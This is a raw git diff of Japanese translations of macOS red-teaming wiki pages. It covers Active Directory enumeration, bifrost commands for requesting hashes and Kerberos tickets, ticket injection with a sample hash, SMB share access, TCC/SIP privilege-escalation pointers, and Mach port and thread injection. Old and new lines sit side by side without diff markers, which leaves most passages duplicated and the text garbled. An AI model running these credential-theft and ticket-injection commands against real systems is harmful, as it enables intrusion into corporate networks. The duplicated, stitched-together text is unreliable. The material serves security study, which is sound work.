echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### ユーザー
### Users
MacOSのユーザーには3種類があります
- **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理され、Active Directoryとは一切接続されていません。
- **ネットワークユーザー**DCサーバーに接続して認証を受ける必要がある揮発性のActive Directoryユーザーです。
- **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理されており、Active Directoryとは接続されていません。
- **ネットワークユーザー**認証のためにDCサーバーへの接続が必要な揮発性のActive Directoryユーザーです。
- **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。
ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\
例えば、_mark_ というユーザーに関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存されており、_admin_ グループに関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ にあります。
例えば、_mark_というユーザーに関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存されており、_admin_というグループに関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ にあります。
HasSessionおよびAdminToエッジを使用することに加えて、**MacHoundはBloodhoundデータベースに3つの新しいエッジを追加します**
@ -165,11 +166,11 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
[https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ パスワード
次の方法でパスワードを取得します:
Get passwords using:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
@ -182,7 +183,7 @@ bifrost --action askhash --username [name] --password [password] --domain [domai
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
TGTが収集されると、次のコマンドで現在のセッションに注入することができます:
TGTが収集されると、次のコマンドで現在のセッションに注入することが可能です:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
@ -193,7 +194,7 @@ bifrost --action asktgt --username test_lab_admin \
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
取得したサービスチケットを使用して、他のコンピュータの共有にアクセスしようとすることが可能です:
取得したサービスチケットを使用して、他のコンピュータの共有にアクセスを試みることができます:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
@ -208,13 +209,13 @@ macos-keychain.md
## 外部サービス
MacOSのレッドチーミングは、通常**MacOSがいくつかの外部プラットフォームと直接統合されている**ため、通常のWindowsレッドチーミングとは異なります。MacOSの一般的な構成は、**OneLoginで同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介していくつかの外部サービス**github、awsなどにアクセスすることです。
MacOSのレッドチーミングは、通常のWindowsのレッドチーミングとは異なり、**MacOSは通常、いくつかの外部プラットフォームと直接統合されています** MacOSの一般的な構成は、**OneLoginで同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介していくつかの外部サービス**github、awsなどにアクセスすることです。
## その他のレッドチーム技術
### Safari
Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、**自動的に開かれます**。例えば、**zipファイルをダウンロード**すると、自動的に解凍されます:
Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、**自動的に開かれます**。 例えば、**zipファイルをダウンロード**すると、自動的に解凍されます:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>

File diff suppressed because one or more lines are too long

View File

@ -8,29 +8,34 @@ macOSに不慣れな場合は、macOSの基本を学び始めるべきです
- 特殊なmacOS **ファイルと権限:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- 一般的なmacOS **ユーザー**
{{#ref}}
macos-users.md
{{#endref}}
- **AppleFS**
{{#ref}}
macos-applefs.md
{{#endref}}
- k**ernel**の**アーキテクチャ**
- **カーネル**の**アーキテクチャ**
{{#ref}}
mac-os-architecture/
{{#endref}}
- 一般的なmacOS n**etworkサービスとプロトコル**
- 一般的なmacOS n**ネットワークサービスとプロトコル**
{{#ref}}
macos-protocols.md
@ -41,7 +46,8 @@ macos-protocols.md
### MacOS MDM
企業の**macOS**システムは、**MDMで管理される**可能性が非常に高いです。したがって、攻撃者の視点からは、**それがどのように機能するか**を知ることが興味深いです:
企業では、**macOS**システムはMDMで**管理される**可能性が非常に高いです。したがって、攻撃者の視点からは、**それがどのように機能するか**を知ることが興味深いです:
{{#ref}}
../macos-red-teaming/macos-mdm/
@ -49,12 +55,14 @@ macos-protocols.md
### MacOS - 検査、デバッグ、ファジング
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
{{#ref}}
macos-security-protections/
{{#endref}}
@ -68,13 +76,14 @@ macos-security-protections/
- 使用されたファイルはすでにユーザーによって作成されている(ユーザーが所有)
- 使用されたファイルはグループのためにユーザーによって書き込み可能
- 使用されたファイルはユーザーが所有するディレクトリ内にある(ユーザーファイルを作成できる)
- 使用されたファイルはrootが所有するディレクトリ内にあるが、ユーザーはグループのために書き込みアクセスを持っているユーザーファイルを作成できる)
- 使用されたファイルはユーザーが所有するディレクトリ内にある(ユーザーファイルを作成できる)
- 使用されたファイルはrootが所有するディレクトリ内にあるが、ユーザーはグループのために書き込みアクセスを持っているユーザーファイルを作成できる)
**rootによって使用される**ファイルを**作成する**ことができると、ユーザーはその**内容を利用する**ことができたり、別の場所を指す**シンボリックリンク/ハードリンク**を作成することができます。
**rootによって使用される**ファイルを**作成できる**ことは、ユーザーがその**内容を利用する**ことを可能にし、さらには**シンボリックリンク/ハードリンク**を作成して別の場所を指すこともできます。
この種の脆弱性については、**脆弱な`.pkg`インストーラーを確認することを忘れないでください**
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
@ -83,23 +92,25 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
ファイル拡張子によって登録された奇妙なアプリは悪用される可能性があり、異なるアプリケーションが特定のプロトコルを開くために登録されることがあります。
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP 権限昇格
macOSでは、**アプリケーションやバイナリが**フォルダや設定にアクセスする権限を持つことができ、他のものよりも特権的になります。
macOSでは、**アプリケーションとバイナリがフォルダや設定にアクセスする権限を持つ**ことがあり、これにより他のものよりも特権が与えられます。
したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC権限を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**必要があります)。
これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの権限を取得する別の方法は、**その権限を持つプロセスの子プロセス**であることです。これらの権限は通常**継承されます**。
これらの権限は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つかります。プロセスがこれらの権限を取得する別の方法は、これらの**権限**を持つプロセスの**子プロセス**であることです。これらは通常**継承されます**。
これらのリンクをたどって、TCCでの[**権限昇格の異なる方法**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)、[**TCCをバイパスする方法**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html)、および過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。
これらのリンクをたどって、[**TCCでの権限昇格のさまざまな方法**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses)、[**TCCをバイパスする方法**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html)、および過去に[**SIPがバイパスされた方法**](macos-security-protections/macos-sip.md#sip-bypasses)を見つけてください。
## macOS 伝統的権限昇格
もちろん、レッドチームの視点からは、rootに昇格することにも興味があるべきです。以下の投稿をチェックして、いくつかのヒントを得てください
もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。いくつかのヒントについては、以下の投稿を確認してください
{{#ref}}
macos-privilege-escalation.md

View File

@ -4,9 +4,9 @@
## XNU Kernel
macOSの**コアはXNU**であり、"X is Not Unix"の略です。このカーネルは基本的に**Machマイクロカーネル**(後で説明します)と**Berkeley Software DistributionBSD**の要素で構成されています。XNUはまた、**I/O Kitというシステムを介してカーネルドライバのプラットフォームを提供します**。XNUカーネルはDarwinオープンソースプロジェクトの一部であり、**そのソースコードは自由にアクセス可能です**。
macOSの**コアはXNU**であり、これは「X is Not Unix」の略です。このカーネルは基本的に**Machマイクロカーネル**(後で説明します)と**Berkeley Software DistributionBSD**の要素で構成されています。XNUはまた、**I/O Kitというシステムを介してカーネルドライバのプラットフォームを提供します**。XNUカーネルはDarwinオープンソースプロジェクトの一部であり、**そのソースコードは自由にアクセス可能です**。
セキュリティ研究者やUnix開発者の視点から見ると、**macOS**は**FreeBSD**システムに非常に**似ている**と感じるかもしれません。洗練されたGUIと多数のカスタムアプリケーションがあります。BSD向けに開発されたほとんどのアプリケーションは、macOS上で修正なしにコンパイルおよび実行できます。Unixユーザーに馴染みのあるコマンドラインツールはすべてmacOSに存在します。しかし、XNUカーネルがMachを組み込んでいるため、従来のUnixライクなシステムとmacOSの間にはいくつかの重要な違いがあり、これらの違いが潜在的な問題を引き起こしたり、独自の利点を提供したりする可能性があります。
セキュリティ研究者やUnix開発者の視点から見ると、**macOS**は**FreeBSD**システムに非常に**似ている**と感じることがあります。洗練されたGUIと多数のカスタムアプリケーションを備えています。BSD向けに開発されたほとんどのアプリケーションは、macOS上で修正なしにコンパイルおよび実行できます。Unixユーザーに馴染みのあるコマンドラインツールはすべてmacOSに存在します。しかし、XNUカーネルがMachを組み込んでいるため、従来のUnixライクなシステムとmacOSの間にはいくつかの重要な違いがあり、これらの違いは潜在的な問題を引き起こすか、独自の利点を提供する可能性があります。
XNUのオープンソース版: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
@ -14,7 +14,7 @@ XNUのオープンソース版: [https://opensource.apple.com/source/xnu/](https
Machは**UNIX互換**のために設計された**マイクロカーネル**です。その主要な設計原則の1つは、**カーネル**空間で実行される**コード**の量を**最小限に抑え**、ファイルシステム、ネットワーキング、I/Oなどの多くの典型的なカーネル機能を**ユーザーレベルのタスクとして実行できるようにすること**でした。
XNUでは、Machはカーネルが通常処理する多くの重要な低レベル操作、例えばプロセッサスケジューリング、マルチタスク、仮想メモリ管理を**担当しています**。
XNUにおいて、Machはカーネルが通常処理する多くの重要な低レベル操作、例えばプロセッサスケジューリング、マルチタスク、および仮想メモリ管理を**担当しています**。
### BSD
@ -29,11 +29,11 @@ XNUの**カーネル**は、**FreeBSD**プロジェクトから派生したか
BSDとMachの相互作用を理解することは、異なる概念的枠組みのために複雑です。たとえば、BSDはプロセスを基本的な実行単位として使用しますが、Machはスレッドに基づいて動作します。この不一致は、**各BSDプロセスを1つのMachスレッドを含むMachタスクに関連付けることによってXNUで調整されます**。BSDのfork()システムコールが使用されると、カーネル内のBSDコードはMach関数を使用してタスクとスレッド構造を作成します。
さらに、**MachとBSDはそれぞれ異なるセキュリティモデルを維持しています****Machの**セキュリティモデルは**ポート権**に基づいていますが、BSDのセキュリティモデルは**プロセス所有権**に基づいています。これら2つのモデルの不一致は、時折ローカル特権昇格の脆弱性を引き起こすことがあります。典型的なシステムコールに加えて、**ユーザースペースプログラムがカーネルと相互作用することを可能にするMachトラップもあります**。これらの異なる要素が組み合わさって、macOSカーネルの多面的でハイブリッドなアーキテクチャを形成しています。
さらに、**MachとBSDはそれぞれ異なるセキュリティモデルを維持しています****Machの**セキュリティモデルは**ポート権**に基づいていますが、BSDのセキュリティモデルは**プロセス所有権**に基づいています。これら2つのモデルの間の不一致は、時折ローカル特権昇格の脆弱性を引き起こすことがあります。典型的なシステムコールに加えて、**ユーザースペースプログラムがカーネルと相互作用することを可能にするMachトラップもあります**。これらの異なる要素が組み合わさって、macOSカーネルの多面的でハイブリッドなアーキテクチャを形成しています。
### I/O Kit - Drivers
I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバフレームワーク**であり、**動的にロードされるデバイスドライバ**を処理します。これにより、さまざまなハードウェアをサポートするために、カーネルにモジュラーコードを動的に追加できます。
I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバフレームワーク**であり、**動的にロードされるデバイスドライバ**を処理します。これにより、モジュールコードをカーネルにオンザフライで追加でき、多様なハードウェアをサポートします。
{{#ref}}
macos-iokit.md
@ -47,9 +47,9 @@ macos-iokit.md
## macOS Kernel Extensions
macOSは**カーネル拡張**.kextをロードすることに対して**非常に制限が厳しい**です。これは、そのコードが高い特権で実行されるためです。実際、デフォルトではバイパスが見つからない限り、ほぼ不可能です
macOSは**カーネル拡張**.kextをロードすることに対して**非常に制限が厳しい**です。これは、そのコードが高い特権で実行されるためです。実際、デフォルトではほぼ不可能です(バイパスが見つからない限り)
次のページでは、macOSがその**kernelcache**内でロードする`.kext`を回復する方法も見ることができます:
次のページでは、macOSが**kernelcache**内にロードする`.kext`を回復する方法も見ることができます:
{{#ref}}
macos-kernel-extensions.md

View File

@ -6,7 +6,7 @@
### 基本情報
Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされます**。
Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされています**。
タスク間の通信はMach Inter-Process Communication (IPC)を介して行われ、一方向の通信チャネルを利用します。**メッセージはポート間で転送され**、ポートはカーネルによって管理される**メッセージキュー**のように機能します。
@ -16,17 +16,17 @@ Machはリソースを共有するための**最小単位**として**タスク*
### ポート権限
ポート権限は、タスクが実行できる操作を定義し、この通信の鍵となります。可能な**ポート権限**は以下の通りです[ここからの定義](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
タスクが実行できる操作を定義するポート権限は、この通信の鍵となります。可能な**ポート権限**は([ここからの定義](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- **受信権限**は、ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC複数のプロデューサー、単一のコンシューマー)キューであり、システム全体で**各ポートに対して1つの受信権限**しか存在できませんパイプとは異なり、複数のプロセスが1つのパイプの読み取り端にファイルディスクリプタを保持できます
- **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**することができ、メッセージを送信することができます。元々は**自分のタスクのみがポートに対して受信権限を持っています**。
- **受信権限**は、ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC複数生産者、単一消費者)キューであり、システム全体で**各ポートに対して1つの受信権限**しか存在できませんパイプとは異なり、複数のプロセスが1つのパイプの読み取り端にファイルディスクリプタを保持できます
- **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**することができ、メッセージを送信できます。元々は**自タスクのみがポートに対して受信権限を持っています**。
- **送信権限**は、ポートにメッセージを送信することを許可します。
- 送信権限は**クローン**可能で、送信権限を持つタスクはその権限をクローンし、**第三のタスクに付与**できます。
- **一度だけ送信権限**は、ポートに1つのメッセージを送信し、その後消失します。
- **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。
- **一度だけ送信権限**は、ポートに1つのメッセージを送信し、その後消失します。
- **ポートセット権限**は、単一のポートではなく**ポートセット**を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。
- **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限はデッドネームに変わります。
**タスクは他のタスクに送信権限を転送**でき、メッセージを返送することが可能になります。**送信権限もクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスと組み合わせて、タスク間の効果的な通信が可能になります。
**タスクは他のタスクに送信権限を転送**でき、メッセージを返送することが可能になります。**送信権限もクローン可能で、タスクはその権限を複製して第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる中間プロセスを組み合わせることで、タスク間の効果的な通信が可能になります。
### ファイルポート
@ -34,20 +34,20 @@ Machはリソースを共有するための**最小単位**として**タスク*
### 通信の確立
#### ステップ
#### 手順
通信チャネルを確立するために、**ブートストラップサーバー**macの**launchd**)が関与します。
1. タスク**A**が**新しいポート**を開始し、その過程で**受信権限**を取得します。
2. タスク**A**は、受信権限の保持者として、**ポートの送信権限を生成**します。
3. タスク**A**は**ブートストラップサーバー**と**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録と呼ばれる手続きで提供します。
3. タスク**A**は**ブートストラップサーバー**と**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録と呼ばれる手続きで提供します。
4. タスク**B**は**ブートストラップサーバー**と対話し、サービス名のブートストラップ**ルックアップ**を実行します。成功すると、**サーバーはタスクAから受け取った送信権限を複製し、タスクBに**送信します。
5. 送信権限を取得したタスク**B**は、**メッセージを作成**し、**タスクAに送信**することができます。
6. 双方向通信のために、通常タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクAに与えて**タスクBにメッセージを送信できるようにします双方向通信
ブートストラップサーバーは、タスクが主張するサービス名を**認証できません**。これは、**タスク**が任意のシステムタスクを**偽装する可能性がある**ことを意味し、例えば、誤って**認証サービス名を主張し、すべてのリクエストを承認する**ことができます。
ブートストラップサーバーは、タスクが主張するサービス名を**認証できません**。これは、**タスク**が任意のシステムタスクを**なりすます**可能性があることを意味し、偽の**認証サービス名を主張し、すべてのリクエストを承認する**ことができます。
その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に加えて、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
その後、Appleは**システム提供サービスの名前**を、**SIP保護された**ディレクトリにある安全な構成ファイルに保存します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に加えて、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。
これらの事前定義されたサービスに対して、**ルックアッププロセスはわずかに異なります**。サービス名がルックアップされると、launchdはサービスを動的に開始します。新しいワークフローは次のようになります
@ -57,13 +57,13 @@ Machはリソースを共有するための**最小単位**として**タスク*
- launchdは**送信権限を複製し、タスクBに送信します**。
- タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクA**svcに与えて、タスクBにメッセージを送信できるようにします双方向通信
ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは元の説明通りに動作し、偽装を許可する可能性があります。
ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは元の説明のように動作し続け、なりすましを許す可能性があります。
### Machメッセージ
[こちらで詳細情報を見つける](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg`関数は、実質的にシステムコールであり、Machメッセージの送信と受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体は以下のように定義されています:
`mach_msg`関数は、基本的にシステムコールであり、Machメッセージの送受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体はのように定義されています:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -74,9 +74,9 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する権利**_ が付与されます。一度だけ送信する権利は、単一のメッセージを送信するためのもので、その後無効になります。
プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する権利**_ が付与されます。一度だけ送信する権利は、単一のメッセージを送信するためのもので、その後無効になります。
簡単な **双方向通信** を実現するために、プロセスはメッセージの Mach **ヘッダー** に _返信ポート_ (**`msgh_local_port`**) と呼ばれる **machポート** を指定できます。ここで、メッセージの **受信者** はこのメッセージに **返信を送信** できます。**`msgh_bits`** のビットフラグを使用して、このポートに対して **一度だけ送信する権利** を導出し、転送することができます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
簡単な **双方向通信** を実現するために、プロセスはメッセージの Mach **メッセージヘッダー** に _返信ポート_ (**`msgh_local_port`**) と呼ばれる **machポート** を指定できます。ここで、メッセージの **受信者** はこのメッセージに **返信を送信** できます。**`msgh_bits`** のビットフラグは、このポートに対して **一度だけ送信する** **権利** を導出し、転送することを **示す** ために使用できます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
> [!TIP]
> この種の双方向通信は、リプレイを期待するXPCメッセージで使用されることに注意してください (`xpc_connection_send_message_with_reply` および `xpc_connection_send_message_with_reply_sync`)。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。
@ -89,7 +89,9 @@ mach_msg_id_t msgh_id;
- `msgh_id`: このメッセージのIDで、受信者によって解釈されます。
> [!CAUTION]
> **machメッセージは \_machポート**\_ を介して送信され、これは **単一
> **machメッセージは \_machポート**\_ を介して送信され、これは **単一の受信者**、**複数の送信者** の通信チャネルで、machカーネルに組み込まれています。**複数のプロセス** がmachポートに **メッセージを送信** できますが、いつでも **単一のプロセスのみが** そこから読み取ることができます。
### ポートの列挙
```bash
lsmp -p <pid>
```
@ -97,7 +99,7 @@ lsmp -p <pid>
### コード例
**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のため**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のため**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
{{#tabs}}
{{#tab name="receiver.c"}}
@ -225,20 +227,21 @@ printf("Sent a message\n");
### 特権ポート
- **ホストポート**: プロセスがこのポートに対して**送信**権限を持っている場合、**システム**に関する**情報**を取得できます(例: `host_processor_info`)。
- **ホスト特権ポート**: このポートに対して**送信**権限を持つプロセスは、カーネル拡張を読み込むなどの**特権アクション**を実行できます。この**権限を得るにはプロセスがルートである必要があります**。
- さらに、**`kext_request`** APIを呼び出すには、他の権利**`com.apple.private.kext*`**を持っている必要があり、これはAppleのバイナリにのみ付与されます。
- **ホストポート**: プロセスがこのポートに対して**Send**権限を持っている場合、**システム**に関する**情報**を取得できます(例: `host_processor_info`)。
- **ホスト特権ポート**: このポートに対して**Send**権限を持つプロセスは、カーネル拡張を読み込むなどの**特権アクション**を実行できます。この権限を得るには**プロセスがrootである必要があります**。
- さらに、**`kext_request`** APIを呼び出すには、Appleのバイナリにのみ与えられる他の権限**`com.apple.private.kext*`**を持っている必要があります。
- **タスク名ポート**: _タスクポート_の特権のないバージョンです。タスクを参照しますが、制御することはできません。これを通じて利用可能な唯一のものは`task_info()`のようです。
- **タスクポート**(別名カーネルポート)**:** このポートに対して送信権限を持つことで、タスクを制御することが可能です(メモリの読み書き、スレッドの作成など)。
- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前を取得**します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリ内の`exec()`後にタスクも新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
- **タスクポート**(別名カーネルポート)**:** このポートに対してSend権限を持つことで、タスクを制御することが可能です(メモリの読み書き、スレッドの作成など)。
- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前**を取得します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリ内の`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
- これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity``macos_task_policy`から):
- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスがタスクポートにアクセスできます**通常はデバッグのためにXcodeによって追加されます。**ノータリゼーション**プロセスは、これを製品リリースには許可しません。
- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーの**プロセスがタスクポートにアクセスできます通常はデバッグのためにXcodeによって追加されます。**ノータリゼーション**プロセスは、製品リリースではこれを許可しません。
- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
- **ルートは、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます**Apple製でないもの
- **Rootは、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます**Apple製でないもの
### タスクポート経由のスレッドへのシェルコード注入
シェルコードを取得するには:
シェルコードを取得できます:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -498,13 +501,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
```
### スレッドを介したDylibインジェクション
macOSでは、**スレッド**は**Mach**または**posix `pthread` API**を使用して操作できます。前回のインジェクションで生成したスレッドはMach APIを使用して生成されたため、**posix準拠ではありません**。
macOSでは、**スレッド**は**Mach**を介して、または**posix `pthread` API**を使用して操作できます。前回のインジェクションで生成したスレッドはMach APIを使用して生成されたため、**posix準拠ではありません**。
**posix**準拠のAPIを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入することが可能でした**。しかし、**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**
**シンプルなシェルコード**を注入してコマンドを実行することが可能だったのは、**posix**準拠のAPIを使用する必要がなかったからで、Machのみで動作したためです。**より複雑なインジェクション**では、**スレッド**も**posix準拠**である必要があります。
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。次に、この新しいpthreadが**dlopenを呼び出して**システムから**dylibをロード**できるようになります。これにより、異なるアクションを実行するために新しいシェルコードを書くのではなく、カスタムライブラリをロードすることが可能です。
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthread**が作成されます。この新しいpthreadは、**dlopen**を呼び出してシステムから**dylib**を**ロード**できるため、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
**例のdylibs**は以下にあります(例えば、ログを生成し、その後リスニングできるもの):
**例のdylibs**は次の場所にあります(例えば、ログを生成し、その後リスニングできるもの):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -800,7 +803,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
### 基本情報
XPCは、macOSおよびiOS上の**プロセス間通信**のためのフレームワークで、XNUmacOSで使用されるカーネル指します。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
XPCは、macOSおよびiOS上のプロセス間通信のためのフレームワークで、XNUmacOSで使用されるカーネル意味します。XPCは、システム上の異なるプロセス間で**安全な非同期メソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
この**通信がどのように機能するか**、およびそれが**どのように脆弱である可能性があるか**についての詳細は、以下を確認してください:
@ -810,7 +813,7 @@ XPCは、macOSおよびiOS上の**プロセス間通信**のためのフレー
## MIG - Machインターフェースジェネレーター
MIGは、**Mach IPC**コード作成のプロセスを**簡素化するため**に作成されました。基本的に、指定された定義に基づいてサーバーとクライアントが通信するために必要なコードを**生成**します。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、彼のコードは以前よりもはるかにシンプルになります。
MIGは、**Mach IPC**コード作成のプロセスを**簡素化するため**に作成されました。基本的に、指定された定義に基づいてサーバーとクライアントが通信するために必要なコードを**生成します**。生成されたコードが醜い場合でも、開発者はそれをインポートするだけで、彼のコードは以前よりもはるかにシンプルになります。
詳細については、以下を確認してください:

View File

@ -1,4 +1,4 @@
# macOSアプリ - 検査、デバッグ、ファジング
# macOS アプリ - 検査、デバッグ、ファジング
{{#include ../../../banners/hacktricks-training.md}}
@ -24,7 +24,7 @@ nm -m ./tccd # List of symbols
```
### jtool2 & Disarm
